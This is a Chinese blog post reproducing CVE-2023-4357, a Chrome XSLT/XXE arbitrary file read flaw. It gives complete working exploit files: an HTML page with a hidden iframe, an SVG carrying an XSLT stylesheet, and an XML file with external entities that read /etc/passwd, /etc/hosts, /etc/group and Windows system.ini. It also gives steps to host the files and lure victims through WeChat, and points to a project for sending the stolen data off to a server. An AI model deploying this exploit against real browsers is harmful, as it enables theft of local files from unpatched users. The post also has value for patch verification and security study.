谷歌浏览器任意文件访问漏洞(CVE-2023-4357)复现

1.漏洞级别

高危

2.漏洞描述

该漏洞的存在是由于 Google Chrome中未充分验证 XML 中不受信任的输入。远程攻击者可利用该漏洞通过构建的 HTML 页面绕过文件访问限制,导致chrome任意文件读取。
总结:一个XXE漏洞

3.利用范围

Google Chrome < 116.0.5845.96
所有使用谷歌内核的浏览器都能触发该漏洞 因此这个漏洞的利用范围其实非常广泛
在复现的时候 对微信浏览器的复现依然可以成功

4.漏洞复现

4.1 漏洞代码

我们需要创建三个文件
c.html


<body>
  <div id="r"></div>
  <script>
    const ifr = document.createElement('iframe');
    ifr.style.display = 'none';
    document.body.appendChild(ifr);
    ifr.onload = function() {
      const ifrContent = ifr.contentWindow.document.documentElement.innerHTML;
      r.innerHTML = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;
    }
    ifr.src = "./c2.svg";

    var data = `current url:<br />${location.href}<br /><br />get data:<br />${ifrContent}`;
    alert(data);
</script>
</body>

c2.svg


<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <svg width="1000%" height="1000%" version="1.1" xmlns="http://www.w3.org/2000/svg">
      <foreignObject class="node" font-size="18" width="100%" height="100%">
        <body xmlns="http://www.w3.org/1999/xhtml">
          <xmp>
            <xsl:copy-of select="document('./c3.xml')"/>
          </xmp>
        </body>
      </foreignObject>
    </svg>
  </xsl:template>
</xsl:stylesheet>

c3.xml


<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="?#"?>
<!DOCTYPE p [
  <!ENTITY passwd SYSTEM "file:///etc/passwd">
  <!ENTITY hosts SYSTEM "file:///etc/hosts">
  <!ENTITY group SYSTEM "file://localhost/etc/group">
  <!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">
]>
<p>
  <p style="border-style: dotted;">/etc/passwd:
  &passwd;
  </p>
  <p style="border-style: dotted;" id="hosts">/etc/hosts:
  &hosts;
  </p>
  <p style="border-style: dotted;">/etc/group:
  &group;
  </p>
  <p style="border-style: dotted;">c:/windows/system.ini:
  &sysini;
  </p>
</p>

注:

xml文件是我们控制输出内容的,写法可以直接参考xml引用外部主体的方法,这里需要注意的是必须要写绝对路径

创建好这3个文件后,上传到服务器部署,没有web环境的童鞋可以通过python快速拉起一个

python3 http.server 8080   #python3

简单复现,在微信电脑端直接搜索生成的网页链接,
在这里插入图片描述点击访问,如果处于漏洞内核版本下就会成功触发
在这里插入图片描述

4.2 漏洞利用进阶

这里的敏感数据显示都是存在于网页上,但是我们依然可以通过html的机制把这些敏感数据外发到指定服务器上

可以参考这个项目

https://github.com/idootop/all-seeing-eye/tree/main

后续有时间我就写一个简易的实现代码,如果想直接测试 可以用上面的项目

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值